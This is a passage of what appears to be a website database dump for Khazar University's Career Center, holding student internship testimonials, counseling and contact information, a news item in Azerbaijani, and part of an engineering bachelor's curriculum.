can do everything you want. Just take all of your dreams with you\r\nevery moment of your life and work hard.&nbsp;</p>  <p><br></p><p><br></p><p style=\"margin:0in 0in 7.5pt 0in\"><strong>Gunay\r\nIsmayilova</strong></p><p><strong>Volunteer,</strong><strong> Azerbaijan Industrial Insurance company</strong></p>\r\n<p>&nbsp;</p>\r\n<p>I\r\nam Gunay Ismayilova, 2015 graduate of Khazar University’s Department of Psychology.\r\nNow I\'m a second year master student of Khazar University. I was a volunteer at\r\nthe International Psychologists’ Conference which was organized by the Career\r\nDevelopment Center of Khazar University. It helped me to improve my work\r\nexperience. For this I thank Ulviyya Huseynova. I think Khazar University helps\r\nstudents become smarter, more modern, to develop a bigger worldview and to network\r\nwith great people. </p>\r\n<p>&nbsp;I was introduced to Azersun Holding’s program\r\nat the Career Fair which was organized by&nbsp;<br>\r\nthe Career Center of Khazar University. I think Azersun Holding is an excellent\r\nopportunity for young people making their first steps toward a career. First I\r\nsent my CV to Azersun Holding and I was sure that they would invite me to in\r\ninterview. Then they invited me to interview for Azersun Academy. After the\r\nfirst interview they invited me to Azerbaijan Industrial Insurance for the next\r\nlevel. At the end of this level I was invited to work at AII, in the Human\r\nResources department. For me the most important step in my career experience\r\nwas in the Human Resources department at AII.</p>\r\n<p>&nbsp;I want to thank Emil Agarzayev for sharing his\r\nknowledge and experience with me. Really, it was an excellent experience for me\r\nto start my career. My internship was 3 months, working full time 5 days a\r\nweek.<br>\r\nI would also like to thank Hamlet İsaxanli, the Dean of the School of Humanities\r\nand Social Sciences Jabir Khalilov, and my all teachers, especially Ulkar Isayeva\r\nand Malak Kerimova.&nbsp; I am very happy that\r\nI am a student at Khazar University. <br>\r\nFinally, thank you, Khazar University. And good luck to all students with their\r\ncareers.</p>  <p><br></p><p>&nbsp;</p><p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\"><strong>Dinara\r\nKhujatova</strong></p>\r\n<p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\"><strong>BBA in\r\nFinance, Graduate. Job: Administrative Assistant at Caspian Investment and\r\nDevelopment Corporation</strong></p>\r\n<p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\">As I approach the end of\r\nmy bachelor education and consider my future goals, I feel strongly that being an\r\nalumna of Khazar University is an important step towards achieving my career\r\ngoals. The job that Khazar Career Center offered at Caspian Investment and\r\nDevelopment Corporation was a perfect for building up aptitudes and setting me\r\nup for an administrative part in an international company. CIDC’s approach\r\nhelps me develop my basic skills and well-trained managerial instincts and in\r\nthis way widen my comprehension to an international scale.</p>\r\n<p>&nbsp;</p>\r\n<p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\">Within 4 years I have\r\nbuilt a broad foundation of knowledge in areas including accounting,\r\nmanagement, HRM, investment management and other business fields. During the BBA\r\nin Finance program at Khazar University we had a lot of projects; it was\r\nparticularly fulfilling. We have learnt various approaches and deeper insights\r\ninto management. Having a strong background from my bachelor degree, I’ve been accepted\r\nto the MBA program, and will continue my education further.</p>\r\n<p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-right:14.0pt;line-height:103%\"=\"\">Thank you Khazar\r\nUniversity!</p>  <p><br></p><p><br></p><p><strong>Celal Huseynbeyli.&nbsp;</strong><br><strong>Political Science.Internship: Bakcell’s “Smart Start” program</strong></p><p>I was introduced to Bakcell’s “Smart Start” program at the Career Fair which was organized by&nbsp;<br>the Career Center of Khazar University. Bakcell’s “Smart Start” program is an excellent&nbsp;<br>opportunity for young persons making their first steps toward a career.<br>&nbsp; First I filled out an application form and I felt sure that I would be invited.&nbsp;<br>&nbsp; After the first group interview I wasn’t sure that I would pass to the next level, because I&nbsp;<br>thought that it was not a good interview for me, but among the 1500 requests, at the end of the&nbsp;<br>third level I was invited to work at the “Corporate Sales” department in Bakcell’s Smart Start&nbsp;<br>program.<br>&nbsp; &nbsp;&nbsp;<br>&nbsp; I made the first step in my career path. I can proudly say that it was an excellent experience. &nbsp;<br>The duration of the internship is 2 months, with 5 full working days a week.<br>&nbsp; During the two-month internship program, the participants got acquainted with the state-of-the-<br>art business environment at Bakcell. &nbsp;I &nbsp;have obtained valuable knowledge and skills during the&nbsp;<br>internship program, such as communication with big companies and business ethics.<br>&nbsp; &nbsp;<br>&nbsp; Bakcell provides the interns with a relevant stipend to cover their daily meal and travel&nbsp;<br>expenses during this period. Upon completion of the internship program, all the participants are&nbsp;<br>evaluated and granted certificates proving their participation in the project.<br></p><p>&nbsp;</p><p><strong>Shamil Ismayilov.</strong></p><p><strong>Translator, Student, Job: \"Hertel\" company.</strong></p><p><strong><br></strong></p><p>&nbsp;I\'m a second year student of Khazar University. My GPA was 81 last year.</p><p>I was a volunteer in the Baku2015 Games and was met with gratitude from BEGOC. The Career Development Center of Khazar University became my chance to get further work experience. First of all Ulviyya Huseynova taught me to make&nbsp; a proper CV,then she helped me to get</p><p>into my first work experience. Words are not enough to convey my feelings of thanks to our university, the Career Development Center and especially to Ulviyya Huseynova. When I graduated from school I wanted to become a great translator.</p><p>I get 438 points on the SSAC exam. I knew that Khazar University is the most hardworking university in Azerbaijan. I heard that here people become smarter,</p><p>more modern and very well-rounded. Now I\'m here and I\'m getting ready for my life.</p><p>Thank you, Khazar University.</p><p><strong><br></strong></p><p>&nbsp;</p><p><strong>Khadija Ashurova</strong></p><p><strong>Psychology, Student, Job: \"ParaBank\" OJSC in the Human Resources department</strong></p><p>I am Khadija Ashurova, alumni of Khazar University psychology faculty in 2015. Currently I am getting job experience at \"ParaBank\" OJSC in the Human Resources department. I received my education in English, I got dean’s honor lists, IELTS certificate, honorary diploma with 88 GPA and the most important thing I got my first job experience in the Human Resources department at Khazar University. All of these things help me to obtain my work. I want to mention that the most valuable part of our university was Career Center. In the career center we learned how created effective CV, how attended in interviews, and also Career Center gave us opportunity to share our CVs with famous companies. For all important things prepared by&nbsp;Ulviyya Huseynova. I want to present my sincere thanks to her.<br>Khazar University help me to get the new worldview, to know many best people. First of all when I entered university, I was a bad approach because it is a private university and therefore I was a little embarrassed, but after few months I understood that education of Khazar university best of all. Many teachers taught me which they had master, doctorate degrees various parts of the world. Therefore I suggest all students of Khazar university that never embarrased...<br>&nbsp;At the end I want to present my own thanks to Hamlet İsaxanli, Ulkar İsayeva, dean of Humanities and Social Sciences department Jabir Khalilov and vice-dean Malak Kerimova. I thank teachers, for shared their knowledge, experience with us. İ am very happy, I graduated Khazar University.<br></p><p>&nbsp;</p><p><strong>Fidan Rustamova</strong></p><p><strong>Petroleum Engineering: designer and manager of NoObs team</strong></p><p>I am a third-year student at Khazar University. During these years I have gained a lot of knowledge and made friends. The experience was and still is way more interesting and educating than I would have ever imagined. This year, in 2015, I got a chance to be a part of an exciting project by becoming the designer for the NoObs team. Although designing has little to do with petroleum engineering, it was an outlet for me to express my creativity.</p><p>NoObs is a team of students with common interests and worldviews who bring to life projects that aim to show the benefits of new technologies. Consisting of only 4 students from 2 universities, this ambitious team just started working together earlier this year but has already accomplished much.</p><p>Their journey started off with the challenge of creating an innovative product to present in an “Imagine Cup” competition held by Microsoft Company. Despite the limited couple of weeks that they had, after sleepless nights and lots of hard work, they met all the deadlines. The NoObs came up with the Spinal project which is about to be presented in the Imagine Cup World Final in July.</p><p>The team is currently working on many other exciting and techy projects, hoping to continue creating lots of valuable products.</p><p>I am very thrilled with what we’ve done so far and I know that this is just the beginning.</p><p>To all students out there I’d like to say: Work hard, it all pays off.</p><p>&nbsp;</p><p><strong>Tunzale Talibli</strong></p><p><strong>Psychology, Student, Job:&nbsp;</strong><strong>Logos Child Speech Development Center</strong></p><p>I am&nbsp;Tunzale Talibli,&nbsp;fourth year student at Khazar University. My major is psychology. I have chosen to focus on&nbsp;child psychology. In this specialty, it is important to have practical experience in communicating with children. For this reason, I brought my CV to the Career Center, which Khazar University created to help students begin their careers. After two months, Ulviyya Huseynova called me for an interview. Now I have been working as a trainee beside head psychologist Anara Bakshaliyeva at Logos Child Speech Development Center for three weeks. Thanks for all the help, Ulviyya Huseynova.<br></p><p>&nbsp;</p><p><strong>Aysel Guluyeva,</strong></p><p><strong>Business Administration Student. Internship: FireWorks Human Resources Management</strong></p><p>The biggest challenge for me after defining the goal of my life has become time management. As many of us know, there are too many interesting trainings, business forums, volunteer projects, internship programs, etc. We want to prosper everywhere and we usually encounter some difficulties in coping with our daily plan.</p><p>In my point of view, to prosper in life one should definitely know what he or she wants and after that how to gain it. The key elements for success are: thinking positively, not being afraid of possible failures, but drawing lessons from them, and prioritizing our tasks.</p><p>This strategy helped me to earn a place in several Dean’s Honor Lists. Furthermore, I took the second place in President Elections for the Student Union (“SU”), and automatically became the Vice-President on December 5, 2013. I have made lots of friends during this period. A few really interesting events have been organized by SU. Some examples are: Flower Holiday play; Fundraising Bake Sale; Promotion of Education in the USA, where gifts were given to participants; Challenge Point Intellectual Game; Painting Exhibition, and so forth. In addition, within the last summer holidays, I passed all the stages of the Youth Business Leadership Project provided by Junior Achievement Azerbaijan, and gained valuable job experience working as an intern in such an ambitious company as FireWorks HRM.</p><p>Taking the abovementioned into account, I want to thank our instructors for their contributions to our professional background and motivating us toward better performance, as well as the Career Center for their continuous help to students by providing trainings, career fairs, and recruitment.</p><p>&nbsp;</p><p><strong>Nargiz Ahmadova,</strong></p><p><strong>Philology Student. Job: Manager’s Assistant, Khazar Film and Animation School</strong></p><p>I entered Khazar University in 2012. During this period, I succeeded in many goals of mine. I used to take part in organizing many events even in my first year at the university. Furthermore, I put forth my nomination to be president of the Student Union of Khazar University. Consequently, I am currently the president of the SU. Beyond that, I applied to the Career Center of Khazar University and took the opportunities created by Ulviyya Huseynova, the chief officer of the Career Center. I worked as a teacher, which exactly met the terms of my major. However, I am a \'go-getter\' student, and I see my future in different spheres. According to my management ability, I was offered a position at Khazar Film and Animation School as a manager. In a nutshell, I am very happy about my accomplishments and skills which I obtained at Khazar University.</p><p>&nbsp;</p><p><strong>Tarlan Qanbarova,</strong></p><p><strong>Psychology Student. Job: Intern at Ministry of Emergency Situations</strong></p><p>My name is Tarlan Qanbarova. My profession is psychology. I was a fourth-year student and I couldn’t find any internship programs for my profession. The Career Center helped me to find the best three-month internship program in the Ministry of Emergency Situations. I obtained a lot of experience in my field. I learned about the psychology of rescuers and victims in emergency situations. Everything was very interesting and unforgettable for me. I am thankful to the Career Center coordinator, Ulvia Huseynli. Good luck to all students with their careers.</p><p>&nbsp;</p><p><strong>Elnur Badalov,</strong></p><p><strong>Finance, Student, Job: Intern, Damir Bank Open Joint-Stock Company</strong></p><p>When I pursued my studies at Khazar University in 2012, I sensed there would be great opportunities waiting for me. As an ordinary high school student, I did not have detailed information upon my dreams and my plans when I passed the entrance exam for the university. Indeed, there were bulky opportunities to take, and to get progress, but the majority of students cannot realize and take them as me, at first. However, the main differentiated points to be a highly demanded employee are represented within some terms that we have in our university, indeed. Firstly, we have a great, non-stop working and tireless Career Development Center with its assertive chairperson Mrs. Ulviyya Huseynova. Moreover, we have a great audience, which consists of people who we can easily assemble, discuss and learn the ways of self-development. For me, as one of the leading student of Khazar University Economics and management faculty, the best way to make your dreams come true is studying hard. By this way, the ones will recognize the spark in your own, which makes you differ from the others. Moreover, we should realize our inherent qualities and step the future with being familiar of them. Then you will tell decently: “Make it happen! Where I was at first, and where I am now!” Eventually, I am in the Finance Department of Demir Bank currently as an intern, even if I am passing through the third course. I applied there through both the online application and the face-to-face contact in the job fair, which was held by Career Development Center at Khazar University. Consequently, I took an exam, and successfully passed it. Furthermore, it was followed by an interview panel (+group interview), and the chairperson of Finance Department chose me and my other 4 counterparts for these internship positions… It was interesting that I heard we were chosen among 360 applicants when I started the internship! In walnut-shell, I accomplished my first goal – started my career by studying hard, by not giving up and making valuable friendships! Follow your dreams which are realizable and make them happen!</p><p>&nbsp;</p><p><strong>Nurana Guluzadeh,</strong></p><p><strong>English Teaching, Student, Job: Assistant, Fireworks Azerbaijan</strong><br><br>My name is Nurana Guluzadeh. I’m 18. I have been training for this event. I liked the FireWorks Company, and then I heard they needed an assistant. I applied there. I gave an interview. I was chosen by them along with the other girls and we were told that after 3 weeks they will choose the best of us. That job is to my liking.<br><br></p><p><strong>Anar Abiyev,</strong></p><p><strong>Computer Science Engineering, Student, Job: Instructor, AZNEXT</strong></p><p>My name is Anar Ibayev. I am 23. I’ve been practicing with network before Khazar University and I decided to devote on it in future. When I was offered to attend practice in Khazar University, I had no idea that I would be chosen by CISCO where I wanted to work so much. I was chosen by them with the other guys and we were told that after 3 months they will choose the best of us. I have known everything about upcoming practice that’s why they saw potential in me and they were surprised that I can configure CISCO’s commands. They offered me a job of instructor. That job was to my liking. So, i agreed to work with them.</p><p>&nbsp;</p><p><strong>Samid Dibirov</strong></p><p><strong>OIL&amp;GAS Engineering, Student, Job: Intern, AMEC</strong></p><p>In order to be an experienced engineer, you should integrate your knowledge in practice. My friend and I joined this scholarship program for the opportunity to learn by experience. We really appreciate the AMEC Company for giving us this great chance.&nbsp;</p><p>&nbsp;</p><p><strong>Nasiba Taghiyeva</strong></p><p><strong>Valunteer Psychologist</strong></p><p>Hello. My name is Nasiba Taghiyeva. My major is psychology. I want to speak about my success story. I am now working at the Modern Psychology Center. The Career Center helped me find this work opportunity. I want to thank Miss Ulviyya for her help.</p><p>&nbsp;</p><p><strong>Nilufar Agazadeh</strong></p><p><strong><strong>English Translation, Student, Job:&nbsp;</strong><strong>Translator,&nbsp;Headstart &nbsp;İnternational</strong></strong></p><p>Thanks to Career Center that I found my dreams’ job.&nbsp; Headstart International gives me opportunity to practice of what I learnt at Khazar University. It is important to Internship there. I hope that, it will help me to improve my language abilities. I will professional translator in Azerbaijan. It’s my first goal to become specialist in my majority. It is wonderful that in our university, students can be recruited for job opportunities related their fields. Thanks for everything. And now if you want be useful for the future and want to form a great career, just believe and be active.</p><p>&nbsp;</p><p><strong>Nurlan Ismayilov</strong></p><p><strong>Economics, Student, Job: Accounting Specialist, Parabank</strong></p><p>It is wonderful that in our university, students can be recruited for job opportunities related their fields. I am one of those students. I tried sending my CV many times, but I didn’t get any answers to my application, and the work that was offered wasn’t suitable for me.&nbsp; I began to follow Career Center Job Announcements and decided to send my resume to possible vacancies. Some other students and I applied for Parabank job opportunities.&nbsp;&nbsp; I passed the interview stage and examination successfully. As a result, I am currently performing an internship in the Accounting Department at Parabank. Try to believe in yourself!</p><p>&nbsp;</p><p><strong>Fatima Bayramova</strong></p><p><strong>English Translation, Student, Job:&nbsp;</strong><strong>Translator, Baku Languages and Business School (BLBS)</strong><strong>&nbsp;</strong></p><p>According to Smithsonian magazine, “behind every success story is an embarrassing first effort, a stumble, a setback or a radical change of direction…. When usually I see someone who’s very successful, I almost imagine that it was a foregone conclusion, that they’re a genius, and that they were destined for great things.” I also usually said that I could never take their place. I\'m still a first-year student. &nbsp;But I like working very much. And that’s why I started to look for vacancies... I looked at every vacancy which I found and was suitable for me. I chose some of them and sent my CV. But none of them got back to me. I lost my hope and thought, “what should I do?”</p><p>Then I decided to improve my skills. I started to learn more than before, I changed my aims and I started to think positive things. After that, I understood that \"few successful people were child prodigies, and prodigies don’t necessarily find success\" (Smithsonian). &nbsp;I started to look for jobs again, but now I knew what I wanted. After one month they responded to me .Now I have a good job; I have opportunities for improving my skills and for a good future. I\'m thankful to our career center for that. Of course without them I couldn’t have done that. They help me a lot. Thanks for everything. And now if you want be useful for the future and want to form a great career, just believe and be active</p>'),(711,505,'en','Online Courses','Online Courses','<p>Listen and learn how to Body Language.</p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/mMmUm17oWEc\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>Listen and learn how to write a winning CV for Job vacancies.</p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/whucmWvO0bI\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp;</p><p>Learn what to do before, during&nbsp;<strong>salary package</strong><strong>&nbsp;negotiating.</strong>&nbsp;Including how to approach interests.</p><p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/JRzEMz60g-Q\" frameborder=\"0\"></iframe></p><p>&nbsp;</p><hr><p>&nbsp;</p><p>Do you need letters of recommendation, but don\'t know how to get them? Watch online workshop,&nbsp;<strong>Letter of Recommendation: Tips &amp; Strategies&nbsp;</strong>to learn how to get the best letters possible.&nbsp;</p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/uHJ6R0QQRr0\" frameborder=\"0\"></iframe>'),(712,498,'en','Counseling  Sessions','Counseling','<div><br></div><p mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\" style=\"text-align: center;\"><strong>What is Counseling?</strong></p><p style=\"text-align:justify\">Counseling Sessions help students plan their professional\r\ngrowth by giving them the tools and resources needed to take charge of their\r\ncareers. These sessions focus on self-assessment, goal setting, job search\r\nstrategies, resume writing, and effective interviewing.</p> <p mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\" style=\"text-align: center;\"><br></p><p mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\" style=\"text-align: center;\"><strong>Make an Appointment</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">30-Minutes+\r\nCounseling Appointments are available Monday through Friday, from 10 a.m. to 5:00\r\np.m by calling or emailing to schedule an appointment. You should let us know\r\nthe purpose of your appointment (e.g., help with a job or internship search). Please\r\nnote we do not schedule same day appointments. These appointments are best for\r\nexploring deeper questions about career/internship/job search, mock interviews,\r\nand graduate school preparation.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\"><em><strong><br></strong></em></p><p mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\" style=\"text-align: center;\"><strong>Have a Quick Question?</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">10-minutes\r\nDrop-In Counseling Sessions are available Monday through Friday, from 10:00\r\na.m. to 5:00 p.m (Closed during breaks and holidays). No prior appointment is\r\nnecessary. It is first-come-first-serve and is best for answering quick\r\nquestions about career options, internship/job search strategies or graduate\r\nschool exploration.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\"><em><strong><br></strong></em></p><p mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\" style=\"text-align: center;\"><strong>Away from Campus?</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">If\r\nyou\'re abroad or away from campus, our staff can Skype or talk with you\r\nover-the-phone.</p><p style=\"box-sizing:border-box;margin:0px 0px 10px\">Skype: &nbsp;khazar.career.center &nbsp;</p><p style=\"box-sizing:border-box;margin:0px 0px 10px\"> Tel: 00994 12 421 7916 (212)&nbsp;</p><p>Working hours: &nbsp;9.00- 18.00, Monday-Friday &nbsp;&nbsp;</p>  <p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\"><br></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">Remember!\r\nCounseling is confidential, safe, and supportive. We respect your privacy, your\r\nvalues, and your uniqueness.</p><p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\"><br></p>'),(2147,1319,'az','Təsisçi M.Şəhriyara həsr olunmuş konfransda çıxış etdi','2016-cı il sentyabrın 14-də Azərbaycan Milli Elmlər Akademiyasında böyük Azərbaycan və İran şairi Məhəmmədhüseyn Şəhriyara həsr olunmuş konfrans keçirildi...\r\n','<p>2016-cı il sentyabrın 14-də Azərbaycan Milli Elmlər Akademiyasında \r\nböyük Azərbaycan və İran şairi Məhəmmədhüseyn Şəhriyara həsr olunmuş konfrans \r\nkeçirildi. Konfransda Azərbaycan və İran alimləri, o cümlədən, rəsmi şəxslər \r\niştirak edirdilər. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar \r\nŞurasının sədri professor Hamlet İsaxanlı Şəhriyarın sənətkarlığı, Səməd \r\nVurğunla M.Şərhiyarın yaradıclığındakı bənzərliklər barədə çıxış etdi. Professor \r\nİsaxanlı tədbirdə öz şeirlərini də oxudu. </p>'),(713,507,'en','Contact us','Contact us','<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Sabina Allahveranova</a></strong></p><p><strong><strong>Manager of Career Center</strong>  </strong></p><p>BS in International Relations (Girne&nbsp;American&nbsp;University, TRNC, Cyprus)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Phone</strong>: (+994 12) 421 79 16&nbsp;(212)  <br></p>  <p><br></p><p><br></p><p><br></p><p><strong>Office Hours:</strong></p><p>Weekdays: 9 A.M. - 6 P.M.</p><p>Lunch Break: 1P.M. – 2 P.M.</p><p><br></p><p><strong>Location:</strong></p><p>41 Mahsati st.,&nbsp;Neftchilar Campus, Room 211, II Floor OLD</p><p>Khazar University, Baku, Azerbaijan</p>\r\n<p><br></p><p><strong>Contact Information:</strong></p><p><strong>Phone</strong>: (+994 12) 421 7916 (212)</p><p><strong>Fax</strong>: (+994 12) 498 93 79&nbsp;</p><p><br></p><p><strong>For general inquiries:</strong></p><p><a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a></p><p><strong><br></strong></p><p><strong>Follow us on Facebook:</strong>&nbsp;</p><p><a href=\"https://www.facebook.com/KhazarUniversityCareerCenter/\">Khazar University Career Center</a></p>'),(714,506,'en','Gallery','Gallery',''),(782,318,'az',' Bakalavr proqramı',' Bakalavr proqramı','<p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">Mühəndislik və tətbiqi elmlər fakültəsi dörd il ərzində mühəndislik və tətbiqi elmlərin muxtəlif sahələrində təhsilini müvəffəqiyyətlə başa vuran tələbələrə bakalavr dərəcəsi verir.Bakalavr dərəcəsi üçün tədris planının tələbi minimum 128 krediti toplamaqdan&nbsp; ibarətdir. Yüksək nəticə&nbsp; əldə etmək üçün tədris müddətində fakültə tərəfindən təsdiqlənən yay təcrübəsi keçmək tələb olunur.Fakültə bu sahələr üzrə bakalavr dərəcə proqramını təklif edir:</p><ul style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Kompüter elmləri;</strong></li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Kompüter mühəndisliyi;</strong></li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Neft və qaz mühəndisliyi;</strong></li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>İnşaat mühəndisliyi;</strong></li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Elektronika, Telekommunikasiya və Radio mühəndisliyi;</strong></li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Kimya mühəndisliyi;</strong></li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Biotibbi mühəndislik.</strong></li></ul>&nbsp;<br style=\"margin-bottom:10px\">Fakültə&nbsp; tərəfindən təklif olunan ixtisasların sahəsi, məqsədləri və dərəcə tələbləri aşağıda verilmişdir.Universitetin tələbləriÜmumtəhsil tələbləriİxtisas tələbləriUniversitet tələblərinə ümumi sayı&nbsp;27 kredit olan iki əsas komponentlər daxildir.<strong>İngilis dili üzrə 15 kredit daxildir:&nbsp;<br style=\"margin-bottom:10px\"></strong>• Dinləmə / Oxu 1 (3 kredit)<br style=\"margin-bottom:10px\">• Danışıq / Yazı 1 (3 kredit)<br style=\"margin-bottom:10px\">• Dinləmə / Oxu 2 (3 kredit)<br style=\"margin-bottom:10px\">• Danışıq / Yazı 2 (3 kredit)<br style=\"margin-bottom:10px\">• Xüsusi məqsədlər üçün İngilis dili (3 kredit)&nbsp;<br style=\"margin-bottom:10px\"><br style=\"margin-bottom:10px\"><strong>Azərbaycan dili tədrisində 12 kredit daxildir:&nbsp;<br style=\"margin-bottom:10px\"></strong>• Azərbaycan dili və tərkibi (3 kredit)&nbsp;<br style=\"margin-bottom:10px\">• Azərbaycan ədəbiyyatı (3 kredit)&nbsp;<br style=\"margin-bottom:10px\">• Azərbaycan mədəniyyəti (3 kredit)&nbsp;<br style=\"margin-bottom:10px\">• Azərbaycan tarixi (3 kredit)&nbsp;Ümumi Təhsil tələbləri minimum 21 kredit formalaşdıran üç komponentdən ibarətdir.• Humanitar&nbsp;<br style=\"margin-bottom:10px\">• Sosial Elmlər&nbsp;<br style=\"margin-bottom:10px\">• Elm və Texnologiya<br style=\"margin-bottom:10px\">Humanitar elmlərə Ədəbiyyat, Dil və Dilçilik, Fəlsəfə, Tarix, Mədəniyyət və Sivilizasiya, İncəsənət və İncəsənət tarixi daxildir. Tələbələr ən azı minimum 6 kreditli iki dərs götürməlidir.Sosial Elmlərə Coğrafiya, Siyasi Elmlər, Beynəlxalq Münasibətlər, Hüquq və İdarəetmə, Antropologiya, İqtisadiyyat, Sosiologiya və Psixologiya aiddir.Tələbələr minimum 6 kreditli ən azı iki dərs götürməlidir (İqtisadiyyata Giriş fakültə tərəfindən tösiyyə olunur).Əsas dərslərdən və anketlərdən minimum 74 kredit toplamaq əsas tələblərə&nbsp; daxildir.Seçmə fənlər: tələbələr ən azı, minimum 6 kreditli iki əlavə dərs götürməlidir.&nbsp;<strong>Kompüter elmləri üzrə bakalvr dərəcəsi proqramı.</strong>Kompüter Elmi- kompüter üzrə peşəkar təlim almaq istəyən, ancaq kompüterin sistem qurğularını&nbsp; öyrənməyə güclü marağı olmayan tələbələr üçün nəzərdə tutulmuşdur.&nbsp;<br style=\"margin-bottom:10px\">Kurikulum çərçivəsində proqram mühəndisliyi, proqramlaşdırma dillərinin prinsipləri, verilənlərin strukturları, yüksək səviyyəli proqramlaşdırma dilləri, əməliyyat sistemləri, kompüter modelləşdirilməsi, kompüter şəbəkələri, süni intellekt və s mövzusunda fənlər keçirlər.Bu proqramın məqsədi tələbələri təhsilin növbəti pilləsinə hazırlamaq, eləcə də&nbsp; onlara biznes,&nbsp; sənaye və qeyri-sənaye sahələrində işləmək üçün lazımi biliklərin verilməsidir.&nbsp;&nbsp;<table cellspacing=\"0\" cellpadding=\"0\" width=\"355\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"156\"><strong>Kod</strong></td><td width=\"231\" style=\"vertical-align:top\"><strong>Fənlər</strong></td><td colspan=\"2\" width=\"84\"><strong>Kreditlər</strong></td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\">&nbsp;</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\"><strong>&nbsp;Universitet tələbləri</strong></td><td width=\"60\" style=\"text-align:center;vertical-align:top\">27</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\"><strong>&nbsp; Ümumi</strong><strong>t</strong><strong>əhsil tələbləri</strong></td><td width=\"60\" style=\"text-align:center;vertical-align:top\">21</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\"><strong>&nbsp; İxtisas tələblər</strong><strong>i</strong><strong></strong></td><td width=\"60\" style=\"text-align:center;vertical-align:top\">74</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\">&nbsp;Riyaziyyat və Elm (cəmi 18 kredit)</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Riyaziyyat II</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp;MATH 231</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Tətbiqi xətti cəbr</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Riyaziyyat üzrə iki seçmə fənn</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; PHSC 111</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Fizika I</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; PHSC 112</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Fizika II</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\">&nbsp; Aşağı bölgü (cəmi 17 kredit)</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 105</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Kompüter 